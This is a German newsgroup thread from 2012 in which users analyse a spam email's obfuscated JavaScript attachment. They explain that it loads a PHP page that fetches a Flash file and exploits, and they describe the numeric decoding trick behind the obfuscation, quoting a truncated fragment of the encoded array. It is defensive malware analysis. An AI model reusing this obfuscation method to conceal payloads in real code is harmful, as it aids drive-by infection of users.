>Die aublbzdni.php würde ich als Windowsuser nicht ansteuern, das läd ein
>.swf und dann paar exploits nach.
Ah Flash, die Mutter alle Sicherheitslöcher oder so...
>.swf und dann paar exploits nach.
>Siehe hier:
>http://wepawet.iseclab.org/view.php?type=js&hash=9b0d5d8ff59d9edca661fe7fcda5de2e&t=1331227884
THX, als User eines exotischen Systems hatte mich das nicht sehr
betroffen, aber wenn man's so schön aufbereitet kriegt, bedanke ich
mich sehr für die Info, uninteressant ist das Thema ja nicht.
Thomas Kordel
Mar 9, 2012, 5:16:50 AM3/9/12
to
Am 09.03.2012 10:36, schrieb Bernd Hohmann:
> Am 09.03.2012 09:31, schrieb Toni Grass:
>>> Abgesehen von dem offensichtlichen Spam hat mich der HTML Anhang mit
>>> Javascript Code stutzig gemacht. Der Code wurde hier (TB 3.1) zum Glück
>>> nicht ausgeführt, aber weiß jmd. was der macht (bzw. machen soll)?
>> [...]
>>
>> Da will Dir jemand was Binäres unterjubeln und ausführen (tippe auf
>> Wurm).
>
> Exploit.
>
> [...]
> Am 09.03.2012 09:31, schrieb Toni Grass:
>>> Abgesehen von dem offensichtlichen Spam hat mich der HTML Anhang mit
>>> Javascript Code stutzig gemacht. Der Code wurde hier (TB 3.1) zum Glück
>>> nicht ausgeführt, aber weiß jmd. was der macht (bzw. machen soll)?
>> [...]
>>
>> Da will Dir jemand was Binäres unterjubeln und ausführen (tippe auf
>> Wurm).
>
> Exploit.
>
>
> Die aublbzdni.php würde ich als Windowsuser nicht ansteuern, das läd ein
> .swf und dann paar exploits nach.
>
> Siehe hier:
> http://wepawet.iseclab.org/view.php?type=js&hash=9b0d5d8ff59d9edca661fe7fcda5de2e&t=1331227884
>
Aha, Danke für ausführliche Untersuchen!
> Die aublbzdni.php würde ich als Windowsuser nicht ansteuern, das läd ein
> .swf und dann paar exploits nach.
>
> Siehe hier:
> http://wepawet.iseclab.org/view.php?type=js&hash=9b0d5d8ff59d9edca661fe7fcda5de2e&t=1331227884
>
Thomas
frank paulsen
Mar 9, 2012, 6:52:49 AM3/9/12
to
Bernd Hohmann <bernd.hohma...@freihaendler.com> writes:
> Die aublbzdni.php würde ich als Windowsuser nicht ansteuern, das läd
> ein .swf und dann paar exploits nach.
was soll an ".swf" gefaehrlich sein?
> Die aublbzdni.php würde ich als Windowsuser nicht ansteuern, das läd
> ein .swf und dann paar exploits nach.
"Flash Player" hat doch vom BSI ne gruene ampel bekommen:
https://www.bsi.bund.de/DE/Themen/Cyber-Sicherheit/Gefaerdungslage/Schwachstellenampel/cs_schwachstellenampel_node.html
alles ist gut...
--
frobnicate foo
Bernd Hohmann
Mar 9, 2012, 10:04:34 AM3/9/12
to
und höher hat das nicht mehr (dafür vermutlich andere).
Bernd
Uwe Schröder
Mar 9, 2012, 3:10:16 PM3/9/12
to
On 09.03.2012 08:11, Christoph Maercker wrote:
>> n="3.5p3.5p51.5p50p ... p53p49p19p50p19.5p28.5p5.5p3.5p3.5p61.5".split("p")
übrigbleibenden Dezimalzahlen (3.5, 51.5, 50, 15, ...) muß man
verdoppeln und zwei draufaddieren, dann bekommt man den ASCII-Code,
aus dem sich dann wieder ein Javascript zusammensetzt.
usch
>> n="3.5p3.5p51.5p50p ... p53p49p19p50p19.5p28.5p5.5p3.5p3.5p61.5".split("p")
>
> Was ist "5pxx" für eine Codierung, ASCII, UTF8, ...?
Gar keine. Das "p" ist das Trennzeichen, nicht der Punkt. Die
> Was ist "5pxx" für eine Codierung, ASCII, UTF8, ...?
übrigbleibenden Dezimalzahlen (3.5, 51.5, 50, 15, ...) muß man
verdoppeln und zwei draufaddieren, dann bekommt man den ASCII-Code,
aus dem sich dann wieder ein Javascript zusammensetzt.
usch
Uwe Schröder
Mar 9, 2012, 3:12:40 PM3/9/12
to
On 09.03.2012 10:36, Bernd Hohmann wrote:
> Die aublbzdni.php würde ich als Windowsuser nicht ansteuern, das läd
> ein .swf und dann paar exploits nach.
Ah, sowas hab ich erwartet. Ich hab versucht, es mit wget abzurufen,
> Die aublbzdni.php würde ich als Windowsuser nicht ansteuern, das läd
> ein .swf und dann paar exploits nach.
das hat mir aber nur eine Weiterleitung nach Google eingebracht. ;)
usch
Michael Pachta
Mar 10, 2012, 3:58:11 AM3/10/12
to
runterzuladen. Gottseidank hast du's ja noch rechtzeitig bemerkt.
SCNR,
Michael
0 new messages